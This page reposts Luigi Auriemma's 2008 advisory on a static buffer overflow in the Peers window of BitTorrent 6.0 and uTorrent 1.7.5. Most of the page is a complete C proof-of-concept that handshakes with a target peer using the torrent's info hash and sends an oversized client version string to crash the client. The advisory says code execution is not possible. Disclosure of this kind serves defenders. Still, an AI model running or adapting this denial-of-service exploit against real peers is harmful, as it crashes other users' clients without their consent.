首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
BitTorrent and UTorrent Peers Static Overflow
来源:http://aluigi.org/ 作者:Luigi 发布时间:2008-01-18  

BitTorrent and UTorrent Peers Static Overflow
------------------------------------------------------------------------


SUMMARY

 <http://www.bittorrent.com> BitTorrent and  <http://www.utorrent.com>
uTorrent are "the most used clients for the bittorrent protocol and are
both built over the same code base derived by uTorrent". A static buffer
overflow is present in both BitTorrent and uTorrent clients, this overflow
would allow a remote attacker to crash the clients.

DETAILS

Vulnerable Systems:
 * BitTorrent version 6.0 build 5535 and prior
 * uTorrent version 1.7.5 build 4602 and prior
 * uTorrent version 1.8-alpha-7834 and prior

Immune Systems:
 * uTorrent version 1.7.6 build 7859

By default both the clients have the "Detailed Info" window active with
the "General" section visible in it where are reported various
informations about the status of the torrent and the trackers in use.

In this same window near "General" there is also the "Peers" section which
is very useful since it showes many informations about the other connected
clients like the percentage of availability of the shared torrent, their
IP address, country, speed and amount of downloaded and uploaded data and
moreover the version of their client (like "BitTorrent 6.0", "Azureus
3.0.3.4", "uTorrent 1.7.5", "KTorrent 2.2.4" and so on).

When this window is visualized by the user the unicode strings with the
software versions of the connected clients are copied in the relative
static buffers used for the visualization in the GUI through the wcscpy
function.

If this string is too long a crash will occur immediately or in some cases
(like on BitTorrent) could happen later or when the user watches the
status of another torrent or leaves the "Peers" window. Code execution is
not possible.

For exploiting the problem is enough that an external attacker connects to
the random port opened on the client and sends the long client version and
the SHA1 hash of the torrent currently in use and watched on the target.
Note that all these parameters (client IP, port and torrent's hash) are
publicly available on the tracker.

Exploit:
/*

by Luigi Auriemma - http://aluigi.org/poc/ruttorrent.zip

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include <ctype.h>
#include <sys/stat.h>
#include <openssl/sha.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif

typedef uint8_t     u8;
typedef uint16_t    u16;
typedef uint32_t    u32;

 

#define VER         "0.1"
//#define PORT        6881
#define BUFFSZ      0xffff
#define RESEXTBYTES "\x00\x00\x00\x00\x00\x10\x00\x01"
#define BITPROTO    "BitTorrent protocol"
#define BOOMSZ      16599   // the max

 

int hash_it(u8 *fname, u8 *hash);
u8 *fdload(u8 *fname, int *len);
int hex2bin(u8 *src, u8 *dst, int len);
int bit_send(int sd, u8 *buff, int len);
int tcp_recv(int sd, u8 *buff, int len);
int putrn(u8 *data, int len);
int putmm(u8 *data, u8 *str, int len);
int putss(u8 *data, u8 *str);
int putcc(u8 *data, int chr, int len);
int getxx(u8 *data, u32 *ret, int bits);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);

 

int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            i,
            len;
    u16     port;
    u8      info_hash[20],
            *host,
            *hashtorrent,
            *buff,
            *p;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "BitTorrent <= 6.0 (build 5535) and uTorrent <= 1.7.5 (build
4602)\n"
        "  Peers info GUI unicode overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 4) {
        printf("\n"
            "Usage: %s <hash/torrent> <host> <port>\n"
            "\n"
            "hash/torrent can be directly the SHA1 hash of the
dictionary's field of the\n"
            "torrent file used in the target machine or just the torrent
file on which this\n"
            "tool will \"try\" to calculate the hash, it's needed because
the big client\n"
            "name will be placed (wcscpy+wcscat) in the window of that
torrent\n"
            "\n"
            "Examples:\n"
            "  ruttorrent file.torrent 127.0.0.1 6881\n"
            "  ruttorrent 0123456789abcdef0123456789abcdef01234567
localhost 1234\n"
            "\n", argv[0]);
        exit(1);
    }

    hashtorrent = argv[1];
    host        = argv[2];
    port        = atoi(argv[3]);

    if(hash_it(hashtorrent, info_hash) < 0) {
        printf("- file not available, consider input as hash\n");
        len = hex2bin(hashtorrent, info_hash, 20);
        if(len != 20) {
            printf("\nError: your dictionay SHA1 hash has a wrong length
(%d)\n", len);
            exit(1);
        }
    }
    printf("- torrent's dictionary SHA1 hash: ");
    for(i = 0; i < 20; i++) printf("%02x", info_hash[i]);
    printf("\n");

    peer.sin_addr.s_addr = resolv(host);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    p = buff;
    p += putxx(p, strlen(BITPROTO), 8);     // size of protocol name
    p += putss(p, BITPROTO);                // protocol name
    p += putmm(p, RESEXTBYTES,      8);     // reserved
    p += putmm(p, info_hash,        20);    // info hash
    p += putrn(p,                   20);    // peer ID
    printf("- send \"%s\" packet\n", BITPROTO);
    if(send(sd, buff, p - buff, 0) < 0) goto quit;

    p = buff;
    p += putxx(p, 20,               8);
    p += putxx(p, 0,                8);
    p += sprintf(p, "d1:ei0e1:md6:ut_pexi1ee1:pi0e1:v%u:", BOOMSZ);
    p += putcc(p, 0xff,             BOOMSZ);
    p += sprintf(p, "e");
    printf("- send big client string\n");
    if(bit_send(sd, buff, p - buff) < 0) goto quit;

    printf("- stay connected: ");
    for(;;) {
        len = recv(sd, buff, BUFFSZ, 0);
        if(len <= 0) break;
        fputc('.', stdout);
    }

    printf("\n- done\n");
    close(sd);
    free(buff);
    return(0);
quit:
    printf("\nError: something wrong during communication (wrong hash or
port)\n");
    close(sd);
    free(buff);
    return(1);
}

 

int hash_it(u8 *fname, u8 *hash) {
    SHA_CTX ctx;
    int     len;
    u8      *filez,
            *p;

    filez = fdload(fname, &len);
    if(!filez) return(-1);

    p = strstr(filez, "4:infod");   // lame/wrong but fast and easy
    if(!p) {
        printf("\nError: no bencoded info section found\n");
        exit(1);
    }
   
    p += 6;
    SHA1_Init(&ctx);
    SHA1_Update(&ctx, p, len - (p - filez) - 1);
    SHA1_Final(hash, &ctx);

    free(filez);
    return(0);
}

 

u8 *fdload(u8 *fname, int *len) {
    struct stat xstat;
    FILE    *fd;
    u8      *ret;

    printf("- open %s\n", fname);
    fd = fopen(fname, "rb");
    if(!fd) return(NULL);
    fstat(fileno(fd), &xstat);
    ret = malloc(xstat.st_size);
    if(!ret) std_err();
    *len = fread(ret, 1, xstat.st_size, fd);
    fclose(fd);
    printf("- %d bytes loaded\n", *len);
    return(ret);
}

 

int hex2bin(u8 *src, u8 *dst, int len) {
    int     c;
    u8      *i,
            *o,
            *l;

    i = src;
    o = dst;
    for(l = dst + len; *i && (o < l); i++) {
        c = tolower(*i);
        if(((c >= '0') && (c <= '9')) || ((c >= 'a') && (c <= 'f'))) {
            sscanf(i, "%02x", &c);
            *o++ = c;
            i++;
        }
    }
    return(o - dst);
}

 

int bit_send(int sd, u8 *buff, int len) {
    u8      tmp[4];

    putxx(tmp, len,     32);
    if(send(sd, tmp,  4,   0) != 4)   return(-1);
    if(send(sd, buff, len, 0) != len) return(-1);
    return(0);
}

 

int tcp_recv(int sd, u8 *buff, int len) {
    int     t;
    u8      *p;

    for(p = buff; len; p += t, len -= t) {
        if(timeout(sd, 20) < 0) return(-1);
        t = recv(sd, p, len, 0);
        if(t <= 0) return(-1);
    }
    return(0);
}

 

int putrn(u8 *data, int len) {
    u32     rnd;
    int     i;

    rnd = time(NULL);
    for(i = 0; i < len; i++) {
        rnd = (rnd * 0x343FD) + 0x269EC3;
        data[i] = rnd;
    }
    return(len);
}

 

int putmm(u8 *data, u8 *str, int len) {
    memcpy(data, str, len);
    return(len);
}

 

int putss(u8 *data, u8 *str) {
    int     len;

    len = strlen(str);
    memcpy(data, str, len);
    return(len);
}

 

int putcc(u8 *data, int chr, int len) {
    memset(data, chr, len);
    return(len);
}

 

int getxx(u8 *data, u32 *ret, int bits) {
    u32     num;
    int     i,
            bytes;

    bytes = bits >> 3;

    for(num = i = 0; i < bytes; i++) {
        num |= (data[i] << ((bytes - 1 - i) << 3));
    }

    *ret = num;
    return(bytes);
}

 

int putxx(u8 *data, u32 num, int bits) {
    int     i,
            bytes;

    bytes = bits >> 3;

    for(i = 0; i < bytes; i++) {
        data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
    }

    return(bytes);
}

 

int timeout(int sock, int secs) {
    struct  timeval tout;
    fd_set  fd_read;

    tout.tv_sec  = secs;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    if(select(sock + 1, &fd_read, NULL, NULL, &tout)
      <= 0) return(-1);
    return(0);
}

 

u32 resolv(char *host) {
    struct  hostent *hp;
    u32     host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u32 *)hp->h_addr;
    }
    return(host_ip);
}

 

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi
Auriemma.
The original article can be found at: 
<http://aluigi.altervista.org/adv/ruttorrent-adv.txt>
http://aluigi.altervista.org/adv/ruttorrent-adv.txt


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Digital Data Communications (R
·MyBulletinBoard (MyBB) <= 1.2.
·AuraCMS 1.62 (stat.php) Remote
·PixelPost 1.7 Remote Blind SQL
·MS Windows Message Queuing Ser
·PixelPost 1.7 Remote Blind SQL
·OpenBSD 4.2 rtlabel_id2name()
·Cisco VPN Client IPSec Driver
·Windows RSH daemon <= 1.8 Remo
·Macrovision FlexNet DownloadMa
·Axigen <= 5.0.2 AXIMilter Remo
·Xforum 1.4 (topic) Remote SQL
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved